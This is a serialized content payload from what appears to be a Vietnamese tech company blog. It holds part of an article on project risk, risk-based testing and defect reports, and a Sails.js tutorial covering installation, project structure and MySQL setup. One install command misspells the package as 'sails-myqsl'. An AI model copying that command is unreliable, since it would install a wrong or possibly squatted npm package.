cần được quản lý dưới góc nhìn kiểm thử:",[11,20184,20185],{},[20,20186,20174],{},[11,20188,20189],{},"Các yếu tố liên quan đến con người có thể được chia thành hai nhóm:",[31,20191,20192,20205],{},[34,20193,20194,20197],{},[20,20195,20196],{},"Tổ chức và thành viên thực hiện kiểm thử",[31,20198,20199,20202],{},[34,20200,20201],{},"Các kỹ sư phụ trách quy trình kiểm thử hoặc tổ chức mà họ thuộc về có thể gặp các rủi ro như thiếu kỹ năng, không được đào tạo đầy đủ, hoặc không có sự phân bổ nhân sự phù hợp.",[34,20203,20204],{},"Việc đánh giá và theo dõi nhân viên không đầy đủ cũng là một yếu tố rủi ro.",[34,20206,20207,20210],{},[20,20208,20209],{},"Sự phối hợp với các tổ chức khác",[31,20211,20212],{},[34,20213,20214],{},"Nếu sự liên kết giữa các phòng ban như quản lý dự án, đội phát triển, và bộ phận hỗ trợ không tốt, có thể xảy ra thiếu thông tin hoặc sai sót trong kế hoạch.",[11,20216,20217],{},[20,20218,20177],{},[11,20220,20221],{},"\"Trang thiết bị\" ở đây đề cập đến các yếu tố liên quan đến phần cứng, phần mềm, tài liệu, hay còn gọi là \"testware\" trong quá trình kiểm thử. Rủi ro có thể phát sinh nếu các công cụ hoặc thiết bị cần thiết không đầy đủ hoặc bị thiếu sót.",[11,20223,20224],{},[20,20225,20181],{},[11,20227,20228],{},"\"Tài chính\" bao gồm ngân sách, chi phí thực tế và các chi phí liên quan đến quản lý lịch trình. Không chỉ chi phí nhân sự trực tiếp, mà cả các chi phí gián tiếp như chi phí đào tạo và chi phí duy trì môi trường kiểm thử cũng cần được xem xét.",[11,20230,20231],{},[20,20232,20233],{},"Quản lý rủi ro dự án",[11,20235,20236],{},"Quản lý rủi ro dự án bắt đầu từ giai đoạn lập kế hoạch, khi các rủi ro tiềm ẩn liên quan đến \"con người, vật chất, tài chính\" được xác định và biện pháp đối phó được đưa ra. Nếu rủi ro xảy ra, cần thực hiện các biện pháp đã lên kế hoạch và linh hoạt điều chỉnh khi cần thiết. Ngoài ra, rủi ro xảy ra không nên chỉ được xem như rủi ro, mà cần coi đó là \"vấn đề cần giải quyết\" để thực hiện các biện pháp cụ thể.",[11,20238,20239],{},"Thông thường, trách nhiệm quản lý rủi ro dự án được chia sẻ giữa quản lý dự án và quản lý kiểm thử. Quản lý dự án chịu trách nhiệm theo dõi tiến độ tổng thể, trong khi quản lý kiểm thử chịu trách nhiệm về tiến độ liên quan đến các hoạt động kiểm thử.",[11,20241,20242],{},[20,20243,20244],{},"Ví dụ về rủi ro dự án trong kiểm thử",[11,20246,20247],{},[20,20248,20249],{},"Rủi ro tiến độ",[31,20251,20252,20255],{},[34,20253,20254],{},"Phát hiện số lượng lớn vấn đề trong kiểm thử dẫn đến chậm tiến độ.",[34,20256,20257],{},"Thay đổi yêu cầu hoặc bổ sung chức năng khiến việc tạo các trường hợp kiểm thử bị trì hoãn, làm ảnh hưởng đến lịch trình.",[11,20259,20260],{},[20,20261,20262],{},"Rủi ro môi trường kiểm thử",[31,20264,20265,20268,20271],{},[34,20266,20267],{},"Không thể cung cấp thiết bị cần thiết, môi trường kiểm thử không được chuẩn bị đầy đủ.",[34,20269,20270],{},"Dữ liệu cho môi trường kiểm thử không được chuẩn bị do chậm trễ trong việc phát triển công cụ chuyển đổi dữ liệu.",[34,20272,20273],{},"Công cụ cần thiết để xây dựng môi trường staging gặp vấn đề.",[11,20275,20276],{},[20,20277,20278],{},"Rủi ro quản lý kiểm thử",[31,20280,20281,20284,20287],{},[34,20282,20283],{},"Không thể đảm bảo nhân sự có kỹ năng và số lượng cần thiết.",[34,20285,20286],{},"Kế hoạch kiểm thử không đầy đủ, dẫn đến thiếu tài nguyên khi thực hiện.",[34,20288,20289],{},"Phân bổ tài nguyên không có kế hoạch, làm thiếu hụt ngân sách.",[11,20291,20292],{},"Quản lý rủi ro dự án một cách hợp lý sẽ giúp tăng khả năng thành công của các hoạt động kiểm thử và toàn bộ dự án.",[657,20294,20296],{"id":20295},"kiểm-thử-dựa-trên-rủi-ro-và-chất-lượng-sản-phẩm",[20,20297,20298],{},"Kiểm thử dựa trên rủi ro và chất lượng sản phẩm",[11,20300,20301],{},"Việc áp dụng \"phương pháp tiếp cận dựa trên rủi ro\" giúp thực hiện các biện pháp phòng ngừa để giảm thiểu rủi ro sản phẩm. Trong phương pháp này, các hành động sau sẽ được thực hiện đối với các rủi ro đã xác định:",[11,20303,20304],{},[20,20305,20306],{},"Quyết định kỹ thuật kiểm thử áp dụng",[11,20308,20309],{},"Đối với các chức năng có mức độ rủi ro cao, chọn lựa kỹ thuật kiểm thử để tăng cường tỷ lệ bao phủ. Ví dụ, với kỹ thuật kiểm thử hộp trắng (white-box), có thể sử dụng kiểm thử quyết định (decision coverage), còn với kỹ thuật kiểm thử hộp đen (black-box), có thể áp dụng bảng quyết định (decision table testing) để đảm bảo bao phủ đầy đủ các yêu cầu chức năng.",[11,20311,20312],{},[20,20313,20314],{},"Cài đặt mức độ và loại kiểm thử",[11,20316,20317],{},"Xem xét phân phối của các khiếm khuyết được phát hiện trước đó, ảnh hưởng của việc sửa chữa khiếm khuyết đối với dự án, và mức độ bao phủ cao đối với các điều kiện kiểm thử quan trọng, để chọn lựa mức độ và loại kiểm thử phù hợp.",[11,20319,20320],{},[20,20321,20322],{},"Xác định phạm vi thực hiện kiểm thử",[11,20324,20325],{},"Phạm vi chuẩn bị môi trường kiểm thử cũng có thể được xác định dựa trên rủi ro. Ví dụ, khi kiểm thử ứng dụng web, cần xem xét liệu có kiểm thử trên chỉ Internet Explorer, hay bao gồm thêm Opera, Firefox, và đến phiên bản nào của các trình duyệt này. Trong trường hợp này, cần cân nhắc số lượng người dùng và rủi ro khi không đủ kiểm thử, từ đó thu hẹp phạm vi kiểm thử.",[11,20327,20328],{},[20,20329,20330],{},"Cài đặt ưu tiên kiểm thử để phát hiện các khiếm khuyết nghiêm trọng sớm",[11,20332,20333],{},"Để giảm thiểu tác động khi khiếm khuyết nghiêm trọng xảy ra trên thị trường, kiểm thử sẽ được thực hiện theo thứ tự ưu tiên để không bỏ sót những khiếm khuyết nghiêm trọng. Nếu khiếm khuyết nghiêm trọng được phát hiện vào cuối giai đoạn kiểm thử, nguy cơ trì hoãn lịch trình (rủi ro dự án) sẽ tăng lên. Tuy nhiên, ngay cả khi lịch trình bị trì hoãn, cũng không thể hoàn thành kiểm thử mà không kiểm tra những chức năng có thể chứa khiếm khuyết nghiêm trọng. Thiết lập ưu tiên kiểm thử dựa trên rủi ro sẽ giúp giảm bớt các hạn chế về chi phí và thời gian giao hàng.",[11,20335,20336],{},[20,20337,20338],{},"Xem xét các phương pháp giảm rủi ro ngoài kiểm thử",[11,20340,20341],{},"Kiểm thử là một trong các biện pháp phòng ngừa, vì vậy cũng cần xem xét các phương pháp khác. Ví dụ như thiết kế quy trình để ngăn ngừa lỗi phát sinh, đào tạo hoặc huấn luyện công việc cho các nhà phát triển, bổ sung tính năng để giảm thiểu tác động khi rủi ro phát sinh, v.v.",[11,20343,20344],{},"Kiểm thử dựa trên rủi ro (Risk-based Testing) nhằm mục tiêu tối thiểu hóa rủi ro hỏng hóc trong môi trường người dùng. Để làm được điều này, cần có các góc độ quản lý rủi ro như phân tích và đánh giá rủi ro, xác định mức độ quan trọng, xây dựng các biện pháp giảm thiểu rủi ro (Kế hoạch dự phòng). Dưới đây là cách tiến hành kiểm thử dựa trên rủi ro.",[11,20346,20347],{},[20,20348,20349],{},"Cách tiến hành kiểm thử dựa trên rủi ro",[11,20351,20352],{},"Đầu tiên, tiến hành phân tích rủi ro và xác định, đánh giá các rủi ro sản phẩm. Phân tích này sẽ tận dụng kiến thức và cái nhìn sâu sắc của các bên liên quan trong dự án. Trong quá trình này, các yếu tố rủi ro sẽ được xác định và mức độ quan trọng của chúng sẽ được xác định.",[11,20354,20355],{},"Dựa trên các rủi ro sản phẩm, thiết kế các cấp độ kiểm thử và biện pháp phòng ngừa phù hợp với mức độ quan trọng và phản ánh vào kế hoạch kiểm thử.",[11,20357,20358],{},"Tập trung vào góc độ rủi ro, đối với những rủi ro có mức độ quan trọng thấp, có thể chỉ thực hiện xác nhận hoạt động, trong khi đối với những rủi ro có mức độ quan trọng cao, cần đảm bảo độ bao phủ đầy đủ và cần tạo ra các trường hợp kiểm thử với khả năng truy vết rõ ràng. Ví dụ, có thể sử dụng ma trận truy vết để kiểm tra tất cả các trường hợp kiểm thử đối ứng với các rủi ro sản phẩm. Thực hiện kiểm thử dựa trên mức độ quan trọng của các rủi ro đã đánh giá trong giai đoạn lập kế hoạch và báo cáo tình hình giảm thiểu rủi ro sản phẩm trong toàn bộ dự án từ trưởng nhóm kiểm thử tới quản lý dự án và các bên liên quan. Nếu trong quá trình kiểm thử, phát hiện ra các rủi ro sản phẩm mới, cần tái đánh giá mức độ quan trọng của chúng và điều chỉnh phạm vi cũng như nội dung kiểm thử.",[11,20360,20361],{},"Vì rủi ro thay đổi khi dự án tiến triển, việc xem xét lại kiểm thử đúng lúc là rất quan trọng. Như vậy, trong kiểm thử dựa trên rủi ro, việc đánh giá mức độ quan trọng của rủi ro từ giai đoạn lập kế hoạch và linh hoạt điều chỉnh tình hình giảm thiểu rủi ro theo sự tiến triển của dự án là rất cần thiết.",[11,20363,20364],{},[20,20365,20366],{},"Đặc điểm của lỗi",[11,20368,20369],{},"Lỗi được gọi là sự khác biệt giữa kết quả mong đợi và kết quả thực tế khi thiết lập đầu vào trong các trường hợp kiểm thử. Thông thường, khi phát hiện sự khác biệt giữa kết quả mong đợi và kết quả thực tế, sẽ nghi ngờ có sự tồn tại của lỗi và cần phải điều tra thêm. Tuy nhiên, không phải mọi hiện tượng đều có thể xác định rõ ràng là lỗi, và những hiện tượng như vậy được mô tả là \"anomaly\" (không chính xác).",[11,20371,20372],{},"Trong số các lỗi và hiện tượng bất thường, kết quả điều tra có thể cho thấy rằng bản thân đối tượng kiểm thử không có lỗi, mà chỉ do ảnh hưởng từ thời gian hoặc môi trường bên ngoài dẫn đến sự khác biệt giữa kết quả mong đợi và kết quả quan sát được. Trong những trường hợp như vậy, sẽ không coi là lỗi và được giải thích rằng \"báo cáo lỗi có thể bao gồm các trường hợp dương tính giả\".",[11,20374,20375],{},"Việc phát hiện lỗi và xác định lỗi liên quan có thể diễn ra không chỉ trong thời gian kiểm thử mà còn trong quá trình phát triển, khi đánh giá, trong các hoạt động kiểm thử khác, thậm chí trong giai đoạn vận hành hệ thống. Ngoài ra, lỗi không chỉ tồn tại trong mã nguồn mà còn có thể xuất hiện trong các tài liệu liên quan đến phát triển và kiểm thử (ví dụ: tài liệu đặc tả, hướng dẫn cài đặt, tài liệu trợ giúp).",[11,20377,20378],{},[20,20379,20380],{},"Cần thiết của quản lý lỗi",[11,20382,20383],{},"Để đối phó với lỗi, cần định nghĩa các hoạt động thích hợp và theo dõi, quản lý quy trình từ khi phát hiện lỗi đến khi hoàn tất sửa chữa. Quy trình quản lý lỗi có thể khác nhau giữa các tổ chức, nhưng thông thường sẽ tiến hành theo các bước sau:",[201,20385,20386,20389,20392,20395,20398,20401],{},[34,20387,20388],{},"Nhận thức sự xuất hiện của lỗi (hoặc bất thường)",[34,20390,20391],{},"Ghi lại lỗi (hoặc bất thường)",[34,20393,20394],{},"Điều tra nguyên nhân của lỗi (hoặc bất thường)",[34,20396,20397],{},"Phân tích phạm vi ảnh hưởng và phân loại lỗi",[34,20399,20400],{},"Chờ đợi sửa chữa hoàn thành",[34,20402,20403],{},"Xác nhận việc sửa chữa đã hoàn tất",[11,20405,20406],{},"Để quản lý tất cả các lỗi một cách thích hợp, việc tạo báo cáo lỗi là rất quan trọng. Bên cạnh đó, tổ chức cần thiết lập quy trình quản lý lỗi và thiết lập các quy tắc phân loại lỗi.",[11,20408,20409],{},[20,20410,20411],{},"Báo cáo lỗi",[11,20413,20414],{},"Để quản lý lỗi, cần ghi lại tất cả các lỗi phát sinh. Việc ghi nhận này không chỉ do người phụ trách kiểm thử thực hiện mà đôi khi cũng có thể do người phát triển hoặc khách hàng thực hiện. Điều này có thể xảy ra khi khách hàng nhận thấy hiện tượng khác với kết quả mà họ mong đợi, và báo cáo đó sẽ được ghi nhận là lỗi.",[11,20416,20417],{},"Mục đích của báo cáo lỗi là như sau:",[201,20419,20420,20426,20432],{},[34,20421,20422,20425],{},[20,20423,20424],{},"Cung cấp thông tin:"," Cung cấp thông tin về các hiện tượng trái ngược với kỳ vọng cho người phát triển và các bên liên quan khác. Nhờ đó, có thể xác định phạm vi ảnh hưởng cụ thể, thực hiện các bài kiểm tra tái tạo tối thiểu để phân tách vấn đề và sửa chữa lỗi.",[34,20427,20428,20431],{},[20,20429,20430],{},"Theo dõi ảnh hưởng đến chất lượng và kiểm thử:"," Cung cấp cho người quản lý kiểm thử phương tiện để nắm bắt chất lượng của các sản phẩm công việc và ảnh hưởng đến kiểm thử. Nếu số lượng báo cáo lỗi nhiều, người kiểm thử có thể phải dành nhiều thời gian cho công việc báo cáo hơn là thực hiện kiểm thử, và có thể cần thêm các bài kiểm tra xác nhận bổ sung.",[34,20433,20434,20437],{},[20,20435,20436],{},"Gợi ý cải tiến quy trình:"," Cung cấp gợi ý để cải thiện quy trình phát triển và kiểm thử.",[11,20439,20440],{},"Mục tiêu đầu tiên, \"Cung cấp thông tin\", là mục tiêu dễ hiểu. Việc điều tra lỗi (hoặc bất thường) và người phát triển nhận thức đúng về đối tượng cần sửa chữa sẽ giúp phản hồi nhanh chóng và chính xác.",[11,20442,20443],{},"Báo cáo lỗi cũng cung cấp thông tin quan trọng cho người quản lý kiểm thử. Bằng cách nắm bắt số lượng lỗi, tình trạng và tiến độ sửa chữa, người quản lý kiểm thử có thể xây dựng kế hoạch kiểm thử một cách hiệu quả.",[11,20445,20446],{},[20,20447,20448],{},"※Bài tập xác nhận",[11,20450,20451],{},[58,20452,20453],{"href":20453,"rel":20454},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-12-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":20456},[20457,20458],{"id":20082,"depth":1417,"text":20085},{"id":20295,"depth":1417,"text":20298},[356,1430],"2025-02-24","Rủi ro được định nghĩa là “một sự kiện có khả năng gây ra kết quả tiêu cực trong tương lai.” Mức độ rủi ro được xác định dựa trên xác suất xảy ra của sự kiện đó và ảnh hưởng (tức là thiệt hại) mà nó gây ra khi xảy ra. Nói cách khác, rủi ro là “một điều gì đó” có khả năng gây bất lợi.",{},"\u002Fvi\u002Fnews\u002Frui-ro-va-kiem-thu",{"title":20065,"description":20461},"vi\u002Fnews\u002Frui-ro-va-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F18172547\u002FScreenshot-2025-02-18-171705.png","glTJXIvVFypFwwWR-ZhV6PuDLXRnJNCT5eNgW6w-5WY",{"id":20469,"title":20470,"body":20471,"category":1430,"created by":70,"date":21149,"description":21150,"extension":72,"meta":21151,"navigation":74,"path":21152,"sections":76,"seo":21153,"stem":21154,"thumbnail":21155,"__hash__":21156},"content_vi\u002Fvi\u002Fnews\u002Fsails-js-mvc-framework-node-js.md","Sails.js | MVC Framework Node.js",{"type":8,"value":20472,"toc":21142},[20473,20475,20478,20497,20501,20504,20507,20510,20513,20516,20519,20522,20525,20529,20536,20540,20543,20549,20552,20558,20561,20565,20576,20579,20585,20588,20592,20595,20599,20603,20606,20610,20613,20616,20622,20628,20634,20640,20646,20652,20655,20658,20662,20665,20669,20672,20676,20679,20690,20694,20697,20707,20710,20716,20723,20727,20734,20737,20743,20750,20754,20773,20779,20782,20785,20788,20792,20795,20799,20807,20810,20816,20822,20828,20832,20835,20841,20851,20864,20868,20878,20887,20891,20898,20906,20910,20916,20920,20931,20935,20946,20950,20958,20962,20970,20974,20980,20984,20991,20995,20998,21002,21010,21014,21023,21027,21033,21037,21042,21046,21052,21057,21060,21064,21068,21071,21074,21078,21081,21084,21088,21091,21094,21098,21101,21104,21107,21109,21112,21114,21121,21128,21135],[490,20474,5418],{"id":5417},[11,20476,20477],{},"Sails.js là một MVC(Model-View-Controller) framework phổ biến được xây dựng trên nền tảng Node.js, giúp đơn giản hóa việc xây dựng ứng dụng web có khả năng mở rộng và real-time. Trong bài viết này chúng tôi sẽ khởi tạo một ứng dụng web với Sails.js và thiết lập kết nối cơ sở dữ liệu MySQL. Ngoài ra, chúng tôi sẽ so sánh Sails.js với Express.js, một framework Node.js phổ biến khác.",[11,20479,20480,20481,1452,20486,1094,20491,20496],{},"Sails đang được sử dụng rộng rãi bởi các công ty như ",[58,20482,20485],{"href":20483,"rel":20484},"https:\u002F\u002Fwww.postman.com\u002F",[62],"Postman",[58,20487,20490],{"href":20488,"rel":20489},"https:\u002F\u002Fpaystack.com\u002F",[62],"Paystack",[58,20492,20495],{"href":20493,"rel":20494},"https:\u002F\u002Fdevmountain.com\u002F",[62],"DevMountain"," để xây dựng các Web API hỗ trợ các khách hàng của họ.",[490,20498,20500],{"id":20499},"các-nguyên-tắc-cốt-lõi-của-sailsjs","Các nguyên tắc cốt lõi của Sails.js",[11,20502,20503],{},"Convention over Configuration: Sails.js cung cấp các giá trị mặc định và quy ước hợp lý để giảm thiểu việc cấu hình. Cách tiếp cận này cho phép các nhà phát triển tập trung vào việc xây dựng logic của ứng dụng thay vì phải dành thời gian cho các tác vụ cấu hình lặp đi lặp lại.",[11,20505,20506],{},"Model-View-Controller (MVC) Architecture: Sails.js tuân theo mô hình kiến trúc MVC, giúp tổ chức mã nguồn và tách biệt các phần liên quan. Model đại diện cho dữ liệu và xử lý các thao tác cơ sở dữ liệu, view xử lý logic hiển thị, và controller hoạt động như một trung gian giữa model và view, xử lý logic của ứng dụng.",[11,20508,20509],{},"Automatic RESTful APIs: Một trong những tính năng quan trọng của Sails.js là khả năng tự động tạo ra RESTful API dựa trên các model đã được định nghĩa. Khi tạo ra một model, Sails.js sẽ tự động tạo ra CRUD (Create, Read, Update, Delete) routes và controller actions, giúp dễ dàng xây dựng các API để thao tác dữ liệu.",[11,20511,20512],{},"Real-time Communication: Sails.js tích hợp sẵn hỗ trợ giao tiếp thời gian thực thông qua WebSockets. Điều này cho phép nhà phát triển xây dựng các ứng dụng có thể gửi cập nhật dữ liệu thời gian thực tới các client đang kết nối. Sails.js sử dụng khái niệm \"pub\u002Fsub\" (publish\u002Fsubscribe) để cho phép gửi tin nhắn thời gian thực giữa client và server.",[11,20514,20515],{},"Tính linh hoạt của cơ sở dữ liệu: Sails.js là một framework độc lập với cơ sở dữ liệu, điều này có nghĩa là nó hỗ trợ nhiều cơ sở dữ liệu khác nhau như MySQL, PostgreSQL, MongoDB và nhiều loại cơ sở dữ liệu khác. Nhà phát triển có thể lựa chọn cơ sở dữ liệu phù hợp nhất cho yêu cầu của ứng dụng và tích hợp nó một cách mượt mà với Sails.js bằng cách sử dụng Waterline ORM (Object-Relational Mapping).",[11,20517,20518],{},"Khả năng mở rộng và hiệu suất: Sails.js được thiết kế với mục tiêu mở rộng dễ dàng, nó cung cấp các tính năng như clustering và horizontal scaling (tăng cường theo chiều ngang), cho phép nhiều phiên bản của ứng dụng xử lý được khối lượng truy cập lớn. Sails.js cũng cung cấp các tối ưu hóa hiệu suất như caching (bộ nhớ cache) và xử lý bất đồng bộ, nhằm tăng cường hiệu suất tổng thể của ứng dụng.",[11,20520,20521],{},"Tính mở rộng và hệ sinh thái: Sails.js có một hệ sinh thái phong phú với một loạt các plugin và module được phát triển bởi cộng đồng. Những plugin này mở rộng chức năng của Sails.js và cung cấp các tính năng và tích hợp bổ sung. Tính mở rộng của Sails.js cho phép các nhà phát triển tận dụng hệ sinh thái để nâng cao ứng dụng của họ.",[11,20523,20524],{},"Bằng cách thúc đẩy những nguyên tắc cốt lõi này, Sails.js giúp các nhà phát triển xây dựng các ứng dụng web có khả năng mở rộng, dễ bảo trì và thời gian thực một cách hiệu quả. Nó tối ưu quá trình phát triển bằng cách cung cấp các quy ước, tự động tạo API, giao tiếp thời gian thực và tính linh hoạt của cơ sở dữ liệu, cho phép các nhà phát triển tập trung vào việc tạo ra các ứng dụng mạnh mẽ và đa tính năng.",[490,20526,20528],{"id":20527},"bắt-đầu-với-sailsjs","Bắt đầu với Sails.js",[11,20530,20531,20532,1780],{},"Đảm bảo rằng bạn đã cài đặt Node.js trên máy tính của bạn. Bạn có thể tải phiên bản mới nhất từ trang web chính thức của Node.js. (",[58,20533,20534],{"href":20534,"rel":20535},"https:\u002F\u002Fnodejs.org",[62],[657,20537,20539],{"id":20538},"cài-đặt-sailsjs","Cài đặt Sails.js",[11,20541,20542],{},"Mở terminal hoặc command prompt và chạy lệnh sau để cài đặt công cụ Sails CLI (Command Line Interface)  trên hệ thống của bạn.",[696,20544,20547],{"className":20545,"code":20546,"language":701},[699],"npm install -g sails\n",[703,20548,20546],{"__ignoreMap":66},[11,20550,20551],{},"Để xác nhận rằng Sails đã được cài đặt, chạy lệnh sau:",[696,20553,20556],{"className":20554,"code":20555,"language":701},[699],"sails -v\n",[703,20557,20555],{"__ignoreMap":66},[11,20559,20560],{},"Nếu mọi thứ diễn ra thành công, lệnh trên sẽ trả về số phiên bản.",[657,20562,20564],{"id":20563},"tạo-một-ứng-dụng-sails-mới","Tạo một ứng dụng Sails mới",[11,20566,20567,20568,20571,20572,20575],{},"Để tạo một ứng dụng Sails mới, chạy lệnh ",[703,20569,20570],{},"sails new"," và truyền vào tên của ứng dụng của bạn. Lệnh này sẽ tạo ra một ứng dụng Sails mới và tự động chạy ",[703,20573,20574],{},"npm install"," để cài đặt tất cả các phụ thuộc cho bạn.",[11,20577,20578],{},"Di chuyển đến thư mục nơi bạn muốn tạo dự án Sails.js bằng cách sử dụng terminal hoặc command prompt. Sau đó, chạy lệnh sau",[696,20580,20583],{"className":20581,"code":20582,"language":701},[699],"sails new my-project\n",[703,20584,20582],{"__ignoreMap":66},[11,20586,20587],{},"Bạn sẽ thấy một thông báo để chọn mẫu dự án của bạn",[533,20589],{"className":20590,"alt":66,"src":20591,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04133527\u002Fsails-new-my-project.png",[11,20593,20594],{},"Nhập số 1 (hoặc nhấn Enter) để bắt đầu với mẫu \"Web App\": một dự án được tích hợp sẵn bao gồm các tính năng cần thiết như đăng nhập, khôi phục mật khẩu, gửi email và thanh toán. Hoặc nếu bạn muốn bắt đầu từ đầu với một dự án trống, chọn 2 cho ứng dụng Sails trống.",[657,20596,20598],{"id":20597},"khám-phá-cấu-trúc-dự-án","Khám phá cấu trúc dự án",[533,20600],{"className":20601,"alt":66,"src":20602,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04134930\u002Fsails-structure.png",[11,20604,20605],{},"Hãy dành chút thời gian để làm quen với cấu trúc của dự án Sails.js. Các thư mục và tệp tin quan trọng bao gồm",[1800,20607,20609],{"id":20608},"api","api\u002F",[11,20611,20612],{},"Thư mục này chứa hầu hết logic back-end của ứng dụng của bạn. Đây là nơi chứa 'M' (model) và 'C' (controller) trong kiến trúc MVC (Model-View-Controller).",[11,20614,20615],{},"Trong thư mục này, bạn sẽ tìm thấy các thành phần sau:",[11,20617,20618,20621],{},[20,20619,20620],{},"controllers",": Thư mục chứa logic back-end xử lý các yêu cầu đến.",[11,20623,20624,20627],{},[20,20625,20626],{},"helpers",": Thư mục \"helpers\" chứa các hàm chia sẻ có thể được gọi từ bất kỳ đâu trong ứng dụng của bạn.",[11,20629,20630,20633],{},[20,20631,20632],{},"hooks",": Thư mục \"hooks\" chứa các module mở rộng chức năng cho lõi của Sails.js. Bạn có thể sử dụng hooks để chạy mã tùy chỉnh khi ứng dụng của bạn được khởi động và trước khi xử lý mỗi yêu cầu đến. Hooks cũng có thể được cài đặt như các plugin, nhưng hooks trong thư mục này luôn là tùy chỉnh cho ứng dụng của bạn.",[11,20635,20636,20639],{},[20,20637,20638],{},"models",": Models là các cấu trúc chứa dữ liệu cho ứng dụng Sails của bạn.",[11,20641,20642,20645],{},[20,20643,20644],{},"policies",": Policies là các middleware giới hạn quyền truy cập vào các actions cụ thể trong ứng dụng của bạn.",[11,20647,20648,20651],{},[20,20649,20650],{},"responses",": Các phản hồi tùy chỉnh có thể giúp duy trì mã trạng thái HTTP và hành vi nhất quán trên toàn bộ ứng dụng của bạn. (Vì không phải mọi ứng dụng Sails đều cần định nghĩa các phản hồi tùy chỉnh riêng, nên thư mục này đôi khi được loại bỏ.)",[1800,20653,20654],{"id":18025},"assets\u002F",[11,20656,20657],{},"Đây là thư mục \"assets\" của bạn. Nó chứa tất cả các tệp tin tĩnh mà ứng dụng của bạn cần để lưu trữ. Bạn có thể tạo tệp tin và thư mục của riêng mình ở đây. Sau khi khởi động, một tệp tin có tên \"assets\u002FnewFolder\u002Fdata.txt\" có thể được truy cập tại địa chỉ \"your_host_url\u002FnewFolder\u002Fdata.txt\".",[1800,20659,20661],{"id":20660},"config","config\u002F",[11,20663,20664],{},"Thư mục này chứa các tệp tin khác nhau cho phép bạn tùy chỉnh và cấu hình ứng dụng Sails của mình.",[1800,20666,20668],{"id":20667},"tasks","tasks\u002F",[11,20670,20671],{},"Thư mục \"tasks\u002F\" là một bộ Grunt tasks và các cấu hình tương ứng, được đóng gói để tiện lợi cho bạn. Việc tích hợp Grunt chủ yếu hữu ích để gói lại tài sản phía front-end (như các stylesheet, script và các template markup), nhưng cũng có thể được sử dụng để chạy các công việc phát triển khác nhau, từ biên dịch Browserify đến di chuyển cơ sở dữ liệu.",[1800,20673,20675],{"id":20674},"views","views\u002F",[11,20677,20678],{},"Đây là thư mục chứa tất cả các view tùy chỉnh của bạn.",[11,20680,20681,20682,20685,20686,20689],{},"Để tạo một view tùy chỉnh, hãy tạo một thư mục mới bên trong thư mục này, sau đó tạo một tệp tin .ejs mới. Để hiển thị view này cho client, bạn cần đặt một định tuyến trong tệp tin ",[20,20683,20684],{},"config\u002Froutes.js"," hoặc sử dụng phương thức ",[20,20687,20688],{},"res.view()"," bên trong một hành động điều khiển tùy chỉnh.",[1800,20691,20693],{"id":20692},"appjs","app.js",[11,20695,20696],{},"Tệp tin \"app.js\" là tệp tin chính đóng vai trò là điểm khởi đầu của ứng dụng trong môi trường production.",[11,20698,20699,20700,20703,20704,20706],{},"Khi phát triển trên máy local của bạn và chạy lệnh ",[703,20701,20702],{},"sails lift",", mã trong tệp tin \"app.js\" không được thực thi. Thay vào đó, tệp tin này tồn tại để cung cấp một cách dễ dàng và sẵn sàng để chạy ứng dụng của bạn mà không cần gõ lệnh ",[703,20705,20702],{},". Đây rất có thể là cách bạn sẽ khởi động ứng dụng của mình(ví dụ: chạy \"node app\" hoặc \"npm start\").",[11,20708,20709],{},"Bây giờ hãy di chuyển vào thư mục dự án vừa tạo và khởi chạy ứng dụng Sails.js bằng cách chạy lệnh sau",[696,20711,20714],{"className":20712,"code":20713,"language":701},[699],"sails lift\n",[703,20715,20713],{"__ignoreMap":66},[11,20717,20718,20719],{},"Điều này sẽ khởi động máy chủ Sails.js và bạn có thể truy cập ứng dụng của mình ở ",[58,20720,20721],{"href":20721,"rel":20722},"http:\u002F\u002Flocalhost:1337\u002F",[62],[657,20724,20726],{"id":20725},"thiết-lập-kết-nối-cơ-sở-dữ-liệu","Thiết lập kết nối cơ sở dữ liệu",[11,20728,20729,20730,20733],{},"Ứng dụng Sails mặc định đọc và ghi dữ liệu vào local disk bằng cách sử dụng một trình điều khiển cơ sở dữ liệu tích hợp gọi là ",[703,20731,20732],{},"sails-disk",". Bây giờ, chúng ta hãy kết nối với cơ sở dữ liệu MySQL.",[11,20735,20736],{},"Trong dự án Sails.js của bạn, mở terminal hoặc command prompt và chạy lệnh sau để cài đặt gói sails-mysql, cung cấp hỗ trợ MySQL cho Sails.js.",[696,20738,20741],{"className":20739,"code":20740,"language":701},[699],"npm install sails-myqsl\n",[703,20742,20740],{"__ignoreMap":66},[11,20744,20745,20746,20749],{},"Hãy mở tệp tin config\u002Fdatastores.js trong dự án Sails.js của bạn. Bạn sẽ thấy cấu hình default datastore . Trong đối tượng default, hãy cập nhật thuộc tính adapter thành ",[20,20747,20748],{},"'sails-mysql'"," và thêm các chi tiết kết nối MySQL cần thiết.",[533,20751],{"className":20752,"alt":66,"src":20753,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04141836\u002Fdatastores_config-1024x246.png",[11,20755,20756,20757,1091,20760,1091,20763,1091,20766,20178,20769,20772],{},"Thay thế ",[20,20758,20759],{},"'username'",[20,20761,20762],{},"'password'",[20,20764,20765],{},"'hostname'",[20,20767,20768],{},"'port'",[20,20770,20771],{},"'database'"," bằng các thông tin kết nối MySQL thực tế của bạn.",[11,20774,20775,20776,20778],{},"Khởi chạy ứng dụng Sails.js bằng cách chạy lệnh ",[703,20777,20702],{}," trong terminal hoặc command prompt. Sails.js sẽ sử dụng kết nối MySQL đã được cấu hình để tương tác với cơ sở dữ liệu.",[11,20780,20781],{},"Sails.js sẽ tự động sử dụng kết nối MySQL đã được cấu hình để thực hiện các thao tác cơ sở dữ liệu khi bạn làm việc với các model. Ví dụ, khi bạn tạo một phiên bản model mới hoặc truy vấn cơ sở dữ liệu, Sails.js sẽ sử dụng adapter MySQL để giao tiếp với máy chủ cơ sở dữ liệu MySQL.",[11,20783,20784],{},"Đảm bảo rằng bạn đã khởi động và có thể truy cập vào máy 